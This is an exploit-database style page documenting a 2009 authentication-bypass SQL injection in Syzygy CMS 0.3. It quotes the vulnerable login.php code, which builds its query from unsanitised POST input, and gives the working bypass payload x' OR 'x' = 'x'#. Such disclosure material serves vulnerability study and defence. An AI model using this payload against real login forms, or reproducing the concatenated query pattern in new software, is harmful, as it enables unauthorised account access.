Syzygy CMS - exploit.company

vendor:

Syzygy CMS

by:

darkjoker

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Syzygy CMS

Affected Version From: 0.3

Affected Version To: 0.3

Patch Exists: YES

Related CWE: N/A

CPE: a:syzygy_cms:syzygy_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability

Syzygy CMS version 0.3 is vulnerable to an authentication bypass vulnerability due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability by supplying a specially crafted username and password to bypass authentication. The vulnerable code is located in the login.php file, where the username and password are not properly sanitized before being used in an SQL query. An attacker can exploit this vulnerability by supplying a specially crafted username and password, such as 'x' OR 'x' = 'x'#, and any password, to bypass authentication.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in an SQL query.

Source

Exploit-DB raw data:

--+++=========================================================================+++--
--+++====== Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++=========================================================================+++--

[+] Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability
[+] Author : darkjoker
[+] Site   : http://darkjoker.net23.net
[+] Greetz : my girlfriend, Vivi
[+] File   : login.php

[+] Code:
    17  $username=$_POST['username'];
    18  $password=md5($_POST['password']);
    19  $current_login=mysql_query("SELECT * FROM ".$mysql_prefix."users WHERE username='".$username."' AND password='".$password."'");
    20
    21  if (mysql_num_rows($current_login)==0)
    22  {
    23          header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php?page=invalid.php");
    24  } else {
    25		$current_user=mysql_fetch_array($current_login, MYSQL_ASSOC);
    26		$_SESSION['user']=$current_user['username'];
    27		$_SESSION['perms']=$current_user['perms'];
    28 		$style_query=mysql_query("SELECT filename FROM ".$mysql_prefix."layout_style WHERE id='".$current_user['style']."'");
    29		$style_info=mysql_fetch_array($style_query,MYSQL_ASSOC);
    30 		$_SESSION['style']=$style_info['filename'];
    31		header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php");
    32  }

[+] Username: x' OR 'x' = 'x'#
[+] Password: anything

# milw0rm.com [2009-01-14]